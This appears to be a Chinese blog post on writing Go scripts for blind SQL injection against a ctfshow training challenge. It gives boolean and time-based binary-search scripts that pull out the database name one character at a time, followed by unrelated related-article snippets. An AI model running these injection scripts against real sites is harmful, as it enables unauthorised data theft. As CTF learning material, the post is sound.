GO的sql注入盲注脚本
之间学习了go的语法 这里就开始go的爬虫
与其说是爬虫 其实就是网站的访问如何实现 因为之前想通过go写sql注入盲注脚本
发现不是那么简单 这里开始研究一下
首先是请求网站
这里貌似很简单
package mainimport ("fmt""net/http"
)func main() {res, err := http.Get("https://www.baidu.com/")fmt.Println(res, err)
}
&{200 OK 200 HTTP/1.1 1 1 map[Content-Type:[application/x-gzip] Date:[Thu, 14 Dec 2023 06:31:16 GMT] Server:[bfe]] 0xc0001a0020 -1 [] false true map[] 0xc000136000 0xc000118370} <nil>发现这里是一个地址
然后就是读取源代码
package mainimport ("fmt""io""net/http""os"
)func main() {res, err := http.Get("https://www.baidu.com/")if err != nil {fmt.Println("connnect error")os.Exit(0)}body, err := io.ReadAll(res.Body)// fmt.Println(body)fmt.Println(string(body))
}

这里再难一点
package mainimport ("fmt""io""net/http""os"
)func main() {var url string = "http://www.baidu.com/"download(url)}
func download(url string) {client := &http.Client{} //这里是将 client作为http.clinet的结构体4res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置handerresp, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消links, err := io.ReadAll(resp.Body)fmt.Println(string(links))
}
通过函数 然后发送请求
package mainimport ("fmt""io""net/http""os""strings"
)func main() {var url string = "http://www.baidu.com/"download(url)}
func download(url string) {client := &http.Client{} //这里是将 client作为http.clinet的结构体4res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置handerresp, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消links, err := io.ReadAll(resp.Body)// fmt.Println(string(links))if strings.Contains(string(links), "百度一下") {fmt.Println("存在")} else {fmt.Println("不存在")}
}
然后这里开始尝试写一下盲注脚本
这里开始是bool脚本 题目是ctfshow 174
golang bool注入普通脚本
package mainimport ("fmt""io""net/http""net/url""os""strings"
)var payload string = "1' and (ascii(substr((select database()),%v,1))=%v)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {for j := 0; j < 127; j++ {if j >= 50 {payload1 := fmt.Sprintf(payload, i, j)// fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)re := send(payload1)if check(re) {flag += string(j)fmt.Println(flag)}}}}
}func send(url string) string {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1
}func check(test string) bool {if strings.Contains(test, "admin") {return true} else {return false}
}
很慢哦
二分法看看如何实现
golang bool注入二分法脚本
package mainimport ("fmt""io""net/http""net/url""os""strings"
)var payload string = "1' and (ascii(substr((select database()),%v,1))>%v)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {high := 127low := 37mid := (high + low) / 2// fmt.Println(mid)for high > low {payload1 := fmt.Sprintf(payload, i, mid)// fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)re := send(payload1)if check(re) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}}flag += string(mid)fmt.Println(flag)}
}func send(url string) string {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1
}func check(test string) bool {if strings.Contains(test, "admin") {return true} else {return false}
}
能发现其实其他都是差不多的 只是修改了
if check(re) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}
这一块 速度又起来了
下面想尝试一下时间注入
golang time注入二分法脚本
package mainimport ("fmt""io""net/http""net/url""os""time"
)var payload string = "1' and if((ascii(substr((select database()),%v,1))>%v),sleep(5),0)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {high := 127low := 37mid := (high + low) / 2// fmt.Println(mid)for high > low {payload1 := fmt.Sprintf(payload, i, mid)fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)_, int123 := send(payload1)if check(int123) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}}flag += string(mid)fmt.Println(flag)}
}func send(url string) (string, int64) {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")start := time.Now()resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()elapsed := time.Since(start).Milliseconds()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1, elapsed
}func check(test int64) bool {if test > 5000 {return true} else {return false}
}
这里是sql注入time的二分法但是我想进行优化

相关文章:
GO的sql注入盲注脚本
之间学习了go的语法 这里就开始go的爬虫 与其说是爬虫 其实就是网站的访问如何实现 因为之前想通过go写sql注入盲注脚本 发现不是那么简单 这里开始研究一下 首先是请求网站 这里貌似很简单 package mainimport ("fmt""net/http" )func main() {res, …...
写好ChatGPT提示词原则之:清晰且具体(clear specific)
ChatGPT 的优势在于它允许用户跨越机器学习和深度学习的复杂门槛,直接利用已经训练好的模型。然而,即便是这些先进的大型语言模型也面临着上下文理解和模型固有局限性的挑战。为了最大化这些大型语言模型(LLM)的潜力,关…...
Java实现快速排序及其动图演示
快速排序(Quicksort)是一种基于分治思想的排序算法。它通过选择一个基准元素,将数组分为两个子数组,其中一个子数组的所有元素都小于基准元素,另一个子数组的所有元素都大于基准元素,然后递归地对这两个子数…...
iClient3D 图元操作
1. S3MTilesLayer,S3M(Spatial 3D Model)图层类 S3MTilesLayer,S3M(Spatial 3D Model)图层类,通过该图层实现加载三维切片缓存,包括倾斜摄影模型、BIM模型、点云数据、精细模型、矢量数据、符号等。 那S3MTilesLayer中针对图元的…...
从0到1!开发小白快速入门腾讯云数据库
在这个海量数据大爆发的时代,一个单一的开源数据库产品往往很难直接满足企业的业务需求,在某些场景下,无论是性能、安全还是稳定性,都面临着各种各样的问题。 你在工作中也有这样的烦恼的话,一定是因为你还没有使用过…...
Golang清晰代码指南
发挥易读和易维护软件的好处 - 第一部分 嗨,开发者们,清晰的代码是指编写易于阅读、理解和维护的软件代码。它是遵循一组原则和实践,优先考虑清晰性、简单性和一致性的代码。清晰的代码旨在使代码库更易管理,减少引入错误的可能性…...
C语言 文件I/O(备查)
所有案列 跳转到其他。 文件打开 FILE* fopen(const char *filename, const char *mode); 参数:filename:指定要打开的文件名,需要加上路径(相对、绝对路径)mode:指定文件的打开模式 返回值:成…...
web(HTML之表单练习)
使用HTML实现该界面: 要求如下: 用户名为文本框,名称为 UserName,长度为 15,最大字符数为 20。 密码为密码框,名称为 UserPass,长度为 15,最大字符数为 20。 性别为两个单选按钮&a…...
通过对象轮换实现 LRU 缓存结构
文章目录 通过两个对象轮换,按照是否访问实现内容长久保存rollup 的缓存实现 export default function (max) { //max 缓存容量var num, curr, prev;var limit max || 1;function keep(key, value) {if (num > limit) {prev curr; // 超过容量时当前对象变成缓…...
【Unity动画】综合案例完结-控制角色动作播放+声音配套
这个案例实现的动作并不复杂,主要包含一个 跳跃动作、攻击动作、还有一个包含三个动画状态的动画混合树。然后设置三个参数来控制切换。 状态机结构如下: 完整代码 using System.Collections; using System.Collections.Generic; using UnityEngine;pu…...
【工作流Activiti】任务组
1、Candidate-users候选人 1.1、需求 在流程定义中在任务结点的assignee固定设置任务负责人,在流程定义时将参与者固定设置在.bpmn文件中,如果要临时变更任务负责人则需要修改流程定义,系统扩展性很差,针对这种情况,我…...
桌面概率长按键盘无法连续输入问题
问题描述:概率性长按键盘无法连续输入文本 问题定位: 系统按键流程分析 图一 系统按键流程 按键是由X Server接收的,这一点只要明白了X Window的工作机制就不难理解了。X Server在接收到按键后,会转发到相应程序的窗口中。在窗…...
用23种设计模式打造一个cocos creator的游戏框架----(十九)备忘录模式
1、模式标准 模式名称:备忘录模式 模式分类:行为型 模式意图:在不破坏封装性的前提下捕获一个对象的内部状态,并在对象之外保存这个状态。这样以后就可以将对象恢复到原先保存的状态 结构图: 适用于: …...
动手学深度学习-自然语言处理-预训练
词嵌入模型 将单词映射到实向量的技术称为词嵌入。 为什么独热向量不能表达词之间的相似性? 自监督的word2vec。 word2vec将每个词映射到一个固定长度的向量,这些向量能更好的表达不同词之间的相似性和类比关系。 word2vec分为两类,两类…...
力扣200. 岛屿数量(java DFS解法)
Problem: 200. 岛屿数量 文章目录 题目描述思路解题方法复杂度Code 题目描述 思路 该问题可以归纳为一类遍历二维矩阵的题目,此类中的一部分题目可以利用DFS来解决,具体到本题目: 1.我们首先要针对于二维数组上的每一个点,尝试展…...
解决el-table组件中,分页后数据的勾选、回显问题?
问题描述: 1、记录一个弹窗点击确定按钮后,table列表所有勾选的数据信息2、再次打开弹窗,回显勾选所有保存的数据信息3、遇到的bug:切换分页,其他页面勾选的数据丢失;点击确认只保存当前页的数据࿱…...
web网络安全
web安全 一,xss 跨站脚本攻击(全称Cross Site Scripting,为和CSS(层叠样式表)区分,简称为XSS)是指恶意攻击者在Web页面中插入恶意javascript代码(也可能包含html代码),当用户浏览网页之时&…...
若依 ruoyi-vue3 集成aj-captcha实现滑块、文字点选验证码
目录 0. 前言0.1 说明 1. 后端部分1.1 添加依赖1.2. 修改 application.yml1.3. 新增 CaptchaRedisService 类1.4. 添加必须文件1.5. 移除不需要的类1.6. 修改登录方法1.7. 新增验证码开关获取接口1.8. 允许匿名访问 2. 前端部分(Vue3)2.1. 新增依赖 cryp…...
安卓10 flutter webview 回退会闪退
现象 在安卓10设备上,访问了webview页面后,回退到其他页面后,大概率会闪退,请查看issuses https://github.com/flutter/flutter/issues/78405 解决思路:在回退前,先把webview销毁掉,重新生成一个…...
【Unity入门】物体5种移动方法
目录 一、通过修改位置来实现移动二、通过物理系统实现位移三、通过CharacterController组件四、通过输入控制物体移动 一、通过修改位置来实现移动 利用修改Transform组件的position的两种常用方法。 使用Translate()函数 /*物体将向x方向移动1.5单位…...
循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)࿰…...
visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...
【机器视觉】单目测距——运动结构恢复
ps:图是随便找的,为了凑个封面 前言 在前面对光流法进行进一步改进,希望将2D光流推广至3D场景流时,发现2D转3D过程中存在尺度歧义问题,需要补全摄像头拍摄图像中缺失的深度信息,否则解空间不收敛…...
屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!
5月28日,中天合创屋面分布式光伏发电项目顺利并网发电,该项目位于内蒙古自治区鄂尔多斯市乌审旗,项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站,总装机容量为9.96MWp。 项目投运后,每年可节约标煤3670…...
论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...
C# 类和继承(抽象类)
抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...
PL0语法,分析器实现!
简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...
Element Plus 表单(el-form)中关于正整数输入的校验规则
目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入(联动)2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...
云原生玩法三问:构建自定义开发环境
云原生玩法三问:构建自定义开发环境 引言 临时运维一个古董项目,无文档,无环境,无交接人,俗称三无。 运行设备的环境老,本地环境版本高,ssh不过去。正好最近对 腾讯出品的云原生 cnb 感兴趣&…...
基于 TAPD 进行项目管理
起因 自己写了个小工具,仓库用的Github。之前在用markdown进行需求管理,现在随着功能的增加,感觉有点难以管理了,所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD,需要提供一个企业名新建一个项目&#…...
